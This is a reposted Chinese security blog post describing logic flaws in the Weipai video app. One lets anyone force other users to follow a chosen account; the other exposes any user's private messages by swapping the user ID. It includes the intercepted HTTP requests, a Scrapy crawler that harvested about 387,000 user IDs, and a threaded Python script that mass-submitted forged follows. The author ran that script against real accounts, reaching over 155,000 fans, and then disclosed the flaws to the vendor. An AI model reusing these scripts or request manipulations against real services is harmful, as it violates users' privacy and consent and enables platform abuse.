转载自Evilsay的微信公众号:
http://mp.weixin.qq.com/s?__biz=MzA3NDMwODAyNg==&mid=203533019&idx=1&sn=e7a5a19fd47c3af920b78517c328a891&3rd=MzA3MDU4NTYzMw==&scene=6#rd
微拍中有着大量“白富美”每日发表自拍视频,用户量一度上升到几百万,作为新用户如何才能得到宠幸?
漏洞细节
在手机上安装好APP后马上就能看到各种类型的视频,当然这并不是重点。之后打开手机网络代理,电脑监听APP流量,在尝试了一些常见的漏洞后并没有太大的进展,于是转身跑到逻辑漏洞的身边。
其中 关注用户 点击后,会POST一个这样的请求:
POST /follow_user HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: w1.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2
Device-Uuid: 9609b1be908****e9beb5442166c7bdfd1ad2e22
Weipai-Token: 54ba****7373c
Weipai-UserId: 54ba1650a5640b57078b****
Phone-Number:
Push-Id: com.weipai.weipaipro
Kernel-Version: 15
Com-Id: weipai
to_user_id=54ba1650a5640b57078b****&from_user_id=53c299e79d67d962598b****&type=add
其中 to_user_id 为我的帐号user_id,from_user_id 为关注用户的user_id,这里将两者进行交换即可完成对方关注指定用户的功能,也就是第一个逻辑漏洞。
除此之外,在这个APP中有着非常核心的功能:搭讪,哦不 是对话功能。
APP会每隔几分钟向服务器发送请求来及时更新对话消息:
GET /pm/new?count=20&weipai_userid=54ba1650a5640b57078b**** HTTP/1.1
Host: pm.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2
我们将这个GET请求中的weipai_userid替换为某个用户id,即可查看对方的搭讪记录。哦不!是对话记录。
2. 爬虫配合
无论是第一个“刷粉漏洞”还是后面的“任意消息查看漏洞”,都有一个前提,那就是获取目标用户的 weipai_userid ,不然【刷】和【任意】都是空谈,JUST DO IT :)
我们找到了这个API,他是一个GET请求并提供用户的粉丝列表:
http://w1.weipai.cn/user_fans_list?count=20&relative=after&uid=50f8ff597f3494a70200****
爬虫我们使用Scrapy来编写,将随机一个 user_id 作为种子源依次往下爬取数据:
#!/usr/bin/env python
# coding=utf-8
# author=f
import scrapy
import json
from weipai.items import WeipaiItem
class weipai_spider(scrapy.Spider):
allowd_domains = ["http://w1.weipai.cn/"]
start_urls = ["http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=50f8ff597f3494a702000066"]
uid_list = []
def parse(self, response):
item = WeipaiItem()
all_data = json.loads(response.body)
for id in all_data['user_list']:
try:
if id['user_id'] not in self.uid_list:
self.uid_list.append(id['user_id'])
item['user_id'] = id['user_id']
item['url'] = "http://w1.weipai.cn/user_fans_list?count=1000&relative=after&uid=%s"%id['user_id']
yield item
yield self.make_requests_from_url(item['url'])
except Exception,e:
pass
吃完晚饭回来,已经爬取了400,000个 user_id :
$ weipai wc weipai_spider_user_id.json
387451 387451 8186275 weipai_spider_user_id.json
40w的傀儡用户已经够了(白富美与屌丝共存的user_id_list),准备屌丝逆袭。
3. 漏洞利用
拥有漏洞与傀儡以后,我们开始走逆袭的第一步,先将粉丝数量刷到顶峰,这里我们需要一个脚本:
#!/usr/bin/env python
# coding=utf8
# author=evi1m0@2015
import requests
import threadpool as tp
f_user = open('./weipai.txt', 'r')
post_url = 'http://w1.weipai.cn/follow_user'
def start(test):
flag = 0
for user in f_user.readlines():
post_data = {
'to_user_id':'54ba1650a5640b57078b****',
'from_user_id': user[:-1],
'type': 'add',}
try:
req = requests.post(post_url, data=post_data, timeout=5)
flag += 1
print '[+] %d : %s' % (flag, req.text)
except:
continue
args = [
['http://xxx.com', 'test'],
]
pool = tp.ThreadPool(200)
reqs = tp.makeRequests(start, args)
[pool.putRequest(req) for req in reqs]
pool.wait()
非常轻松的,这个刷粉脚本就完成并RUN了起来,但经过观察后发现速度并不理想,于是我把这个脚本放置到了香港及国外的几台服务器上,然后将user_id列表进行几份切割,便睡了过去。
很快的一觉醒来,梦里并没有美女野兽,登录服务器把脚本纷纷停止,把在一旁不停震动的安卓手机拿起,这时才发现已经收到上百条搭讪,当然粉丝数量也已经到了155,835。
4. 逆袭
在顶着“大V”的压力下,我打开搭讪框。哦不!是对话窗口。这时你就会发现,无论是女神屌丝亦或是锥子脸饼子脸,他/她们都在寻找你,小到卖鞋,大到yue否。
既然初衷仅仅是为了JUST DO IT,马上我们将漏洞细节发给了微拍公司,并得到了第一时间修复。
管他女神锥子脸,卖鞋还卖包。伪黑客按下回车合上电脑,删除了这个帐号的一切数据,一切都没发生过。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课